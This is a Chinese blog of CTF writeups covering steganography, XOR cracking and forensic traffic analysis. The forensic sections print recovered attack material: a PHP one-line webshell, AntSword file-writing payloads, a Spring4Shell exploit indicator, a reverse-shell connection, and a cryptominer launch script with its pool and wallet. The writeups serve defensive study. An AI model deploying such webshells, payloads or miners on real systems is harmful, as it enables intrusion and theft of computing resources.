\\x01yE\xe6\x82\xe9\x00\xc4]\xf7w\x9c\xfb\x10\x00F\x8b\xe5C\xd3\x01rN\xa9\x86\xd78\x8f\x9a\xdd\x01P\xe5b\x9a\x01Ug\xa9\xb6\x01\xf4TV\x01P\x88\xe5q\x01N\xa9\xbb\xf3\xf7h\x9d\xdeZ\x01]\x00\xb6\xfd\x00Z\x8d%\x04E\xc0\x9d\xe3\xd0P\xc3\x01\xa5\xcc\xae\x01i\xbb\xe0\xf6m\x0cr(\xe3\x01r[\x00N\x00v*\xa8\x9b\x9b\x9c\xda\xd0@\x00W\xe4U\x00N\xbc\x182\x1e\xb2n\x8e\x83\x90\x00}+\x01x\x00rR^\xf7t|@\xd0x\x01q#\x00F\xdc\x00\xe6\xa9\x8a\x8dX+\xd1L\x01|;\x01H\x01W\xbb\xe4Y\x87s\x8e\xab\xac\x00v>\x01U\x00Q\xba\xecM\x9d\x9d\xd6\xd0P\x01e\x1d\xa7\x92\xbc\xd6\'Q\xf7A\x9c\xea'
# b'\xa4)C\xa5)M\xad\xb1"\xf3\x19g\x0c\xf2\x9cqX\xad\xad\x1e\x9c\xf3B\xf0\xa2\\,|\xf0\xf1\xa6\xbf&f\x01\xf5S\xb9\xe3\xbfN\xa8\xb9\x9dP\x88\xd5\x93\x87\xb1Z\xc9\x01\xe1\xf1\xf0\xec\xd9@\x01o\x90\x01\xe3T\x00\xe5\xf7K\x01\xc8\x01\xed\x01\x9du\x00\xa1M\xd7\xd3X\x00Y\x04\x93\x01\x82\x8a\x9a\x01]\x00e\x86\xac\x01\xed\xf6q\xf2`\xae\xa9\x80s\x01mK\xcf~\x01\xf8\xd0\x01\xc9\x01F\xed\xca\xd8K\x06C\x96\x87\x88\xaa\x90\xac\x8a\x00\xd2\x00\xd4;\x9cv\xd5\xd5\xbe\xf3\xe6v\xe4\x80]\x9b\xf7\xed\xc0\x1f\x00x\x00o\x87\x8c\x8e\x90\xb4\xe9\xa8\xbf\x7f9\xfa\xd1\x95\xb88\xcfT\x01\xfb\x00w\x01\xbf\x949\x8b\x80\x06B\xeb\x00\xe1\xe0Vf\r\xe0\x01\xf8\xb1\xa8\xb9\x9ch\x00\x94\\\x01M\x1d\xd1\xb5\xb2c\x00\xae\x8a\x92\x00W\x01A\x87\x87\x06\xd27\xf4\xf5=\xd0\xa8\xb5\x9dM\x01\x99\x1c\x95\x00\xc8\x83\x00\xcb\xdc\x84\x7f|\xdeB\x00V\x00\xfb\x18\x01\xc3\n\xc6\x00\xd4\x01\xd0\xfb\xf1\x00M\xd5\xa5\xb0\xae\x10\xe9\x01\xd1\x01I\x15.a\x97\x01p\xd9\x87\x9a\x00\xdb\xf7f\x01\xca\x00\xcb\xfb\xf8\x00O}\x01\x00P\x08\x8b\x00\xfb\x00| \x8a\x90\xcd\x00]\xb95~\x00\xe8\xf7}\x01\xd3\x00\xf8\x08\x9cY\x01\xbdF\xe3\x01\xd1\xbf\x91\xb3s\x01\x9e\x1dV\x01D\xd6\x96\x86\x86\x00\xc0m\x01J\xb9BPB\x9ch\x00\x97\xcf|\x01\xd1\x00M\xb3k\x00\xb2T\xd8b\xc1\x00~\x87\x9d\x00\xf20\x88\xc49\x99KU\x9dv\x88\x7f \xdb\xa0\xa4d\x01\xf6\xa8\x00\xb1\x8c\x9a\x00h\xdd\x01\xef\xe1f\x90\xb6\xb4\x92.\xccoS\x15\x01Jo/\x00x\xa5w\x00\xe1\x01i\xec\xe1\x14\x01S\xbe\xdfy5\x01\xe2p\x01w\xbfH\xa8\xb7\x9cF\xb8ii\xdf\xd0b\x8c\x00\xdd\x00h\xed\xeb\xd8]\x01Y\x01\xf6\xe1U\x04\xf7@\x00\xf1\xf9\xa9\x90\x9df\x01\x89\xcek\xd2\xa4S\xce\\\xd2\x00\xbf\x8a\xb1\xd0\x00~\x00\xf6k\x00\xf7\xf7y\x94\xbeJ\xa9\xb4\x9cC\x01\x82\x13\x00^\xa5c\xfeh\x01L\xed\xff\xd9C\x01D\xccgJ\x00\xcd\xf6W\xe8\xbed+`\x9ca\xb0\xd4\xb0\xe8\x00\xd3\x00CJ\xec\xbf71p\xa8\xea\x85\x00\xe6\xe1Ez\x01\xd9\x01\xeb\xd4\xa8\x8a\x9cd\x01\xa7\xcf]\x00\xf2\xc6\x00\xfd\x00Jbe\xd8{\xe3\x00J\x11,\x01\xed\xf6v\x00\xd6\x92L\xfa\xc6\x00A+!\x00]\xa4x\xa1U\x82\xe9\xed\xf4,\x00v\x01tF\xe0F\x1b\xf6B\xd3\xbfr\\\xfa\xec\xd6\xa5\xd5\x84\xdc\x00\xf5\x00c)\x01T0\x8a\x99\x00h\xda\x87\x86\xb0\x88\x91\x87\x00N\x16\x01\xf2\xfa\xf4\x01P^\xce\\\x01\xf7\xfd\x01\xe9\x8c\x9e@8\x19\x01l\x00PD\xe1A]X\x00h\xbeI\xa9\x96\r\xfd\xf86\xces\xbe\xa4N\x01\xc4\x91\x00\x81\x10\xd8U\x01A\x00\xd0\xe0T\x91\xb8\xbc\xa3$\xe9\x1b\x08\x9cR\x91\xd5\xb2\xce\x01\xdc\x00rZ\xf6\x01\x98j\x17\x01x\x00q@\xe1GM\xf7\\\x01\xc2\x8cl^\x9dL\x00\xa9\x10\x01H\xa5V\x01\xff\xaf\x87\x02\x8b\xa2\xac\x00w\xda\x87\xb4\x01\xc1\xf7E\xbb#\x01\xf1\xfb\xcd\x01d,i\x92\xbcs\x9c\xf8\xb2A\x01\x88'

比赛中给出了一个hint-1，将的原理

比赛中给出了hint-2，直接给出了爆破脚本，执行得到 flag{xor_1s_S0_fUnny_123asdf23e}

cipher1 = b''
cipher2 = b''
# 方法1：枚举第二个key
for one in range(256):
    turekey = [0] * 31
    i = 0
    for two in range(31):
        turekey[i % 31] = cipher1[i] ^ cipher2[i] ^ one
        i += 15
    flag = ""
    for i in range(len(cipher2)):
        flag += chr(turekey[i % 31] ^ cipher2[i])
    if 'flag{' in flag:
        # print(turekey)
        # print("---------")
        print(flag)
        break

# 方法2：枚举第一个key
for guess in range(256):
    ture_key1 = [0] * 15
    i = 0
    for count in range(15):
        ture_key1[i % 15] = cipher1[i] ^ cipher2[i] ^ guess
        i += 31
    flag = ""
    for i in range(len(cipher1)):
        flag += chr(ture_key1[i % 15] ^ cipher1[i])
    if 'flag{' in flag:
        # print(ture_key1)
        # print('-------')
        print(flag)
        break

0x07、泡芙puff【zip文件格式、罕见工具、灰度隐写】

puff这道题附件有2个文件：一个是名为puff的文件，另一个是password.txt内容如下

keyA:3d291edb84037e75136c35ebd5b94845
keyB:cef4f6925c864477bfa7b13178960861
keyC:01752100651b18ec1b62c4f294776428

puff用010Editor打开，观察头部0x504B开头，可能是zip文件，重命名puff.zip。用rar打开提示文件损坏，备注提示为“If you want to know the secret of puff, you must first find the key hidden in puff.”

继续010Editor观察，发现文件头部被篡改了：

• 搜索0x504B0304文件头有2处，却出现在文件结尾，两处发现文件名puff' secret.zip和puff.jpg
• 搜索0x504B0102有2处，却出现在文件开头，两处发现文件名puff' secret.zip和puff.jpg

说明是两处文件头0x504B0304、0x504B0102互相交换的篡改方式，改正确即可打开puff.zip。解压缩得到 puff'secret.zip 加密压缩文件和 puff.jpg 图片。

经过binwalk、foremost、stegsolve等工具查询没有线索。此时得到一个hint使用工具openpuff工具（没有hint根本想不到啊！）

# openpuff
Steganographic software solution

得到的输出是 key.txt 文件，内容如下

key1:c3a6d16d
key2:a7e80e4e
key3:04a2bbc5

使用ARCHPR工具，选择“明文”攻击类型，用key1、key2、key3秘钥直接得到解密的 puff's secret_decrypted.zip。

解压缩puff's secret_decrypted.zip得到puff's secret.png

使用hint里面的“灰度隐写lsb.py”脚本，得到flag.png。flag.png是二维码，扫码得到 flag{puff_1s_S0_d3lici0us!}

from PIL import Image
img = Image.open("puff's secret.png")
width,height=img.size
for i in range(0,width):
    for j in range(0,height):
        tmp = img.getpixel((i,j))
        if tmp&0x1 == 0:
            img.putpixel((i,j),0)
        else:
            img.putpixel((i,j),255)
img.show()
img.save("flag.png")

0x08、装在套子里的人(未完待续)

附件有2个文件：123.png 和 what_is_it.txt。

123.png打开是全黑色的。010Editor打开123.png末尾有一句话，give you a string:0xD3E176C4, i believe you know what is it!。猜测是IHDR块的CRC32值，因为IHDR显示图片大小是 3822×3822 大小，这么大的图片不可能只有一个IDAT块的数据。（其实我用TweakPNG的viewer功能打不开123.png，提示libpng:not enough data）

于是修改IHDR块的CRC32值，然后爆破图片宽高。得到图片真实大小183×112 ，另存为123-2.png。打开是一句话“这是第一步哦”——我想打出题人

what_is_it.txt文件有6M大小，内容只有一行以=结尾，猜测是base64编码。解码后，得到十六进制编码，猜测是一个zip文件。于是Hex粘贴到010Editor里面，存为what_is_it.zip。这个zip是加密的。后附上转换文件的代码。

# -*- coding:utf8 -*-
import base64

# 读取base64密文
f1 = open('what_is_it.txt', 'r')
c = f1.readline()
f1.close()

# 解码得到明文，输出文本文件
f2 = open('what_is_it-1.txt', 'w')
m = base64.b64decode(c).decode('utf-8')
f2.writelines(m)
f2.close()

# 转为二进制，输出二进制文件
ms = m.split(' ')
ba = bytearray()
for b in ms:
    i = int(b, base=16)
    ba.append(i)
f = open('what_is_it.bin', 'wb')
f.write(ba)
f.close()

0x09、flag.mp3【？】

这个flag.mp3是滴滴哒哒发电报的声音，猜测是摩斯码。这个flag.mp3明显被动过手脚，Audacity打不开，提示“malformed MP3”，而且1分多钟的音频只能播放22秒。binwalk看了一下里面还有个file.wav。

binwalk -e flag.mp3，提取到一个file.zip，里面是file.wav。flag.mp3去掉尾部多余的zip部分得到flag-1.mp3。猜想是 flag-1.mp3 和 file.wav 两部分结合起来得到flag。

Audacity 打开 flag-1.mp3，看波形图是摩斯码。解码得到提示信息 “I HIDE FLAG IN PICTURE AND HIDE PICTURE IN AUDIO”，看来file.wav里面隐藏了一张图片。

../..../../-.././..-./.-../.-/--./../-./.--./../-.-./-/..-/.-././.-/-./-../..../../-.././.--./../-.-./-/..-/.-././../-./.-/..-/-../../---

I HIDE FLAG IN PICTURE AND HIDE PICTURE IN AUDIO

file.wav 的图片怎么提取？

0x0A、其他题目没有完成

硬实力不够，还要多多学习！

2023.08、第二届“陇剑杯”网络安全大赛·线上预算赛·比赛writeup

0x00、总结

2023.08.26比赛，10:00-18:00共8个小时，队名StackOperator，官方队名T1164240，总排名477——要认识到与同行的差距。比赛内容很赞，真正面向防御，收获颇丰，很长见识。

官方队名T1164240，总排名477

0x01、HW=hard_web【比赛时未做出】

分析hard_web.pcap的流量。

hard_web_1

题目内容：服务器开放了哪些端口，请按照端口大小顺序提交答案，并以英文逗号隔开(如服务器开放了80 81 82 83端口，则答案为80,81,82,83)

hard_web_2

题目内容：服务器中根目录下的flag值是多少？

hard_web_3

题目内容：该webshell的连接密码是多少？

0x02、SS=sevrer save

分析final.pcap的流量、do.tar（被攻击服务器目录）的文件内容。

sevrer save_1

题目内容：黑客是使用什么漏洞来拿下root权限的。格式为：CVE-2020-114514

http.response.code==200过滤，发现frame.number==25284是第一个response成功的。对应request是frame.number==25280，这里攻击方（172.17.0.1）向服务器（172.17.0.2）POST了一个表单。

Form item: "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat" = "_"

这是CVE-2022-22965 “Spring远程命令执行漏洞” 的特征。

sevrer save_2

题目内容：黑客反弹shell的ip和端口是什么，格式为：10.0.0.1:4444

顺藤摸瓜，找到反弹shell脚本shell.jsp，其中frame.number==25676执行了cmd=bash bbbb.sh，该脚本执行后，服务器（172.17.0.2:33300）开始连接（192.168.43.128:2333）

执行bbbb.sh

服务器反连192.168.43.128:2333

sevrer save_4

题目内容：黑客的病毒运行后创建了什么用户？请将回答用户名与密码：username:password

账号在/etc/passwd文件，密码在/etc/shadow文件。分析do.tar，发现有/etc/pass和/etc/passwd-，对比内容发现/etc/passwd比/etc/passwd-多了一行，用户名是ll。分析do.tar，发现有/etc/shadow和/etc/shadow-文件，对比内容发现找到ll密码是123456。

2个/etc/passwd

多了一个ll

密码123456

sevrer save_3

题目内容：黑客的病毒名称是什么？ 格式为：filename

sevrer save_5

题目内容：服务器在被入侵时外网ip是多少? 格式为：10.10.0.1

sevrer save_6

题目内容：病毒运行后释放了什么文件？格式：文件1,文件2

sevrer save_7

题目内容：矿池地址是什么？ 格式：domain:1234

sevrer save_8

题目内容：黑客的钱包地址是多少？格式：xx:xxxxxxxx

3、5、6、7、8这5个合并解决。/home/guests目录里有病毒main。执行的日志在/home/guests/.log.txt发现外网IP Query: 172.105.202.239。病毒执行后在/home/guests目录生成2个ge文件lolMiner和mine_doge.sh。读mine_doge.sh内容发现矿池地址是POOL=doge.millpools.cc:5567，黑客的钱包地址是WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9。

/home/guests

.log.txt

生成2个文件

#!/bin/bash

#################################
## Begin of user-editable part ##
#################################

POOL=doge.millpools.cc:5567
WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker

#################################
##  End of user-editable part  ##
#################################

cd "$(dirname "$0")"

./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
while [ $? -eq 42 ]; do
    sleep 10s
    ./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
done

0x03、WS=Wireshark

分析1.pcapng的流量。

Wireshark1_1

题目内容：被入侵主机的IP是？

Wireshark1_2

题目内容：被入侵主机的口令是？

Wireshark1_3

题目内容：用户目录下第二个文件夹的名称是？

Wireshark1_4

题目内容：/etc/passwd中倒数第二个用户的用户名是？

1、2、3、4合并解决。全部是telnet协议，找到任意telnet协议，追踪流，tcp流。观察明文即可。登录后执行了ls 和 cat /etc/passwd。

密码

被入侵主机的IP是192.168.246.28。被入侵主机的口令是youcannevergetthis。用户目录下第二个文件夹的名称是Downloads。/etc/passwd中倒数第二个用户的用户名是mysql。

0x04、IR=IncidentResponse【比赛时未做出】

分析irTest.ova虚拟机。

IncidentResponse_1

题目内容：

你是公司的一名安全运营工程师，今日接到外部监管部门通报，你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合，你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。（虚拟机账号密码为：root/IncidentResponsePasswd）

挖矿程序所在路径是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

IncidentResponse_2

题目内容：

挖矿程序连接的矿池域名是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

IncidentResponse_3

题目内容：

攻击者入侵服务器的利用的方法是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

IncidentResponse_4

题目内容：

攻击者的IP是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

IncidentResponse_5

题目内容：

攻击者发起攻击时使用的User-Agent是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

IncidentResponse_6

题目内容：

攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以a开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

IncidentResponse_7

题目内容：

攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以b开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

0x05、SSW=SmallSword

分析SmallSword.pcapng流量。

SmallSword_1

题目内容：连接蚁剑的正确密码是______________?（答案示例：123asd）

http.request.method==POST && http.request.uri contains "info1.php"过滤并找到特征。蚁剑提交的表单@ini_set前面的是密码6ea280898e404bfabd0ebb702327b19f 。每一次都是。

Form item: "6ea280898e404bfabd0ebb702327b19f" = "@ini_set("display_errors", "0");@set_time_limit(0);echo "->|";$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/"){for

蚁剑密码特征

SmallSword_2

题目内容：攻击者留存的值是______________?(答案示例：d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

在上一题过滤内容中发现frame.number==24475提交表单特殊。

Form item: "0x72b3f341e432" = "RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy9oYWNrZXIudHh0"
Form item: "0xe9bb136e8a5e9" = "YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA=="
Form item: "6ea280898e404bfabd0ebb702327b19f" = "
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "->|";
echo @fwrite(fopen(base64_decode($_POST["0x72b3f341e432"]),"w"),base64_decode($_POST["0xe9bb136e8a5e9"]))?"1":"0";;
echo "|<-";die();
"

0x72b3f341e432的base64解码是文件路径，0xe9bb136e8a5e9的base64解码是写入内容。注意键值对，翻译一下就是fwrite(fopen("D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/hacker.txt"),"ad6269b7-3ce2-4ae8-b97f-f259515e7a91" )。所以留存的值ad6269b7-3ce2-4ae8-b97f-f259515e7a91       

SmallSword_3【比赛时未做出】

题目内容：攻击者下载到的flag是______________?(答案示例：flag3{uuid})

0x06、EW=ez_web

分析ez_web.pcap流量。

ez_web_1

题目内容：服务器自带的后门文件名是什么？（含文件后缀）

http.request.method==POST过滤发现第一个POST包里访问了ViewMore.php，并生成后门d00r.php。d004.php写入的内容base64解码得到一句话木马

<?php eval($_POST['cmd']);?>

ez_web_2

题目内容：服务器的内网IP是多少？

http.request.method==POST 过滤观察发现frame.number==22251里面访问d00r.php，执行了cmd=ifconfig，回显在frame.number==22253，发现ens38网卡的IP地址192.168.101.132。

ifconfig

ez_web_3

题目内容：攻击者往服务器中写入的key是什么？

http.request.method==POST过滤观察发现frame.number==23667里面访问d00r.php，执行了cmd=file_put_contents%28%27k3y_f1le%27%2C+base64_decode%28%27UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl%2FO%2FAJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI%2FABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA%3D%3D%27%29%29%3B

经过url解码发现是向k3y_f1le文件中写入如下内容

UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA==

再base64解码，存成zip文件。这个zip是加密了的。

http.request.method==POST过滤发现frame.number==23473里面访问d00r.php，执行了cmd = system('cat /passwd');回显是解压缩密码7e03864b0db7e6f9

解压缩得到key.txt，内容是7d9ddff2-2d67-4eba-9e48-b91c26c42337

0x07、BF=baby_forensics【比赛时未做出】

分析baby_forensics.raw和baby_forensics.vmdk文件。

baby_forensics_1

题目内容：磁盘中的key是多少？

baby_forensics_2

题目内容：电脑中正在运行的计算器的运行结果是多少？

baby_forensics_3

题目内容：该内存文件中存在的flag值是多少？

0x08、TP=tcpdump

分析stream_new.cap流量。

tcpdump_1

题目内容：攻击者通过暴力破解进入了某Wiki 文档，请给出登录的用户名与密码，以:拼接，比如admin:admin。

(http.request.method==POST && http.request.uri contains "login") || http.response.code==200筛选发现登录失败的frame.length都是237，errCode都是300。

但是frame.number==39044这个的frame.length是559，JavaScript Object的errCode是200而不是300。对应的request在frame.number==39042，提交的表单内容是

Form item: "username" = "TMjpxFGQwD"

Form item: "password" = "123457"

得到TMjpxFGQwD:123457

tcpdump_2【比赛后做出】

题目内容：攻击者发现软件存在越权漏洞，请给出攻击者越权使用的cookie的内容的md5值。（32位小写）

http.request.method==POST && http.request.line contains "Cookie"过滤，发现有2个cookie。算出md5值尝试一下，是383c74db4e32513daaa1eeb1726d7255

accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1

md5:383c74db4e32513daaa1eeb1726d7255

accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2
md5:4cf7f9c5bd8a4dfb18805f5d8c384cc0

import hashlib

m = hashlib.md5()
cookie1 = b'accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1'
m.update(cookie1)
s1 = m.hexdigest()
print(s1)

cookie2 = b'accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2'
m.update(cookie2)
s2 = m.hexdigest()
print(s2)

tcpdump_3

题目内容：攻击使用jdbc漏洞读取了应用配置文件，给出配置中的数据库账号密码，以:拼接，比如root:123456

Wireshark搜索jdbc，找到最后一个jdbc数据库爆破流量，发现中间流量包含数据库用户名和密码，在frame.number==43500找到

username: zyplayer

password: 1234567

tcpdump_4【比赛时未做出】

题目内容：攻击者又使用了CVE漏洞攻击应用，执行系统命令，请给出此CVE编号以及远程EXP的文件名，使用:拼接，比如CVE-2020-19817:exp.so

tcpdump_5

题目内容：给出攻击者获取系统权限后，下载的工具的名称，比如nmap

在流量末尾找，追踪流，tcp流，发现frame.number==43677中用curl命令从github下载fscan工具

0x09、HD=hacked

分析Flask.pcap流量。

hacked_1

题目内容：admIn用户的密码是什么？

frame.number==8发现登录界面JavaScript代码，对username和password进行AES对称加密。在js代码中给出了相关参数：

mode=CBC

padding=PKCS7Padding

key=l36DoqKUYQP0N7e1(raw)

iv=131b0c8a7a6e072e(raw)。

http.request.uri contains "login" && http.request.method==POST过滤出7次登录流量，使用ToolsFx工具对登录流量的密文逐个解密username找到admIn。

NQq5hKinIsaMmIZ7FCTC0Q==解密得到admIn

KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=解密得到flag{WelC0m5_TO_H3re}

hacked_2

题目内容：app.config['SECRET_KEY']值为多少？

搜索SECRET_KEY，找到frame.number==1098里面包含Config键值对。其中包含SECRET_KEY的值ssti_flask_hsfvaldb

hacked_3【比赛时未做出】

题目内容：flask网站由哪个用户启动？

hacked_4【比赛时未做出】

题目内容：攻击者写入的内存马的路由名叫什么？（答案里不需要加/）

2023.09、第二届强核杯·福州·培训MISC

give_me_discount

附件共3个：discount.mp3、give.exe、me.zip。

运行give.exe得到pass1{\u006b\u0072\u0077}，也就是pass1{krw}。me.zip加密，010Editor查看发现me.zip文件最后隐写base64编码，解码得到pass2{gcc666}。拼接得到解码密码krwgcc666，解压me.zip得到what's_mean.txt，内容base64解码得到youfoundme?。

最后使用MP3Stego工具，decode.exe -X -P youfoundme? discount.mp3 得到 ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}。再做base32解码得到 ISCC{Yourdiscount2.15}

welcome

这题不难，就是找规律。以下密文一共有2个片段：“蓅烺計劃 洮蓠朩暒”和“戶囗  萇條”。前者替换为0，后者替换为1，得到一串二进制数，转为ascii码为 flag{ISCC_WELCOME}

蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條

一起来赏菊吧

附件：一起来赏菊吧.zip，备注里有解压缩密码。解压得到：一朵平凡的小菊.png，LSB隐写了一张1.png图片，内容*2T:CiweE。本以为结束了，但并没结束，调整资源管理器，显示隐藏文件，发现有go_next.zip加密压缩文件。

1.png

fighting.jpg

 经过base全家桶，发现*2T:CiweE的base91解码为 w3Lc0mE。以此密码解压缩go_next.zip得到fighting.jpg、flag_is_here.zip两个文件。fighting.jpg是干扰项。flag_is_here.zip伪加密，010Editor修改后解压缩得到flag.txt。flag.txt内容是16进制编码的zip文件，命名为1.zip。1.zip是word，改名1.doc后打开，取消隐藏得到 flag{Mi5c_1S_funNy___!}

检查一下

附件221B.png，没有特别之处。TweakPNG、pngcheck、binwalk等工具均可查看该png图片，发现每个IDAT块长度都是8192，维度最后2个不是。倒数第二个IDAT块没填满就写下一个IDAT块是不正常的，zlib解码最后一个IDAT块，得到01二进制编码。发现01字符串长度是可以开平方，那么转成二维码，扫码得到  ISCC{Png_Chunk_streams_ISCC}

221B.png

坐标0x75645B

import zlib

with open('221B.png', 'rb') as f:
    fdata = f.read()
    data = fdata[0x75645B:]
    s = zlib.decompress(data)
    print(s)

2023.09、第二届强核杯·福州·比赛

rotate_Jump【逆向】

附件是一个名为rotate_Jump的elf文件。在linux下执行提示有

1. tips（5x5的数组）
2. Clue：你输入的数据在加密后应该是 E>9W2`[!Z>,U)%,Q8$#3v<Du{

rotate_Jump

IDA64打开rotate_Jump，shift+F12在字符串里找Cule，找到后Ctrl+X交叉引用定位到代码，F5反汇编一下。发现

发现了7次加密，加密用的秘钥值是die。逐个enc函数分析。

key_encode核心加密，输入逐个和秘钥die异或，再加上33。

key_encode

encrypt1 到 encrypt6（encrypt6还嵌套了encrypt7），本质上是数据位置的变换，数据的值没有变化。因此我们只需要把变换的过程逆序执行，就可以decrypt。我们以 encrypt1 函数为例分析。

encrypt1 到 encrypt6（encrypt6还嵌套了encrypt7），本质上是数据位置的变换，数据的值没有变化

分析至此，我们可以编写脚本，dec7-dec1和deckey，逆序解码。代码如下

rc = list('E>9W2`[!Z>,U)%,Q8$#3v<Du{')


def myprint(c):
  for i in range(5):
    for j in range(5):
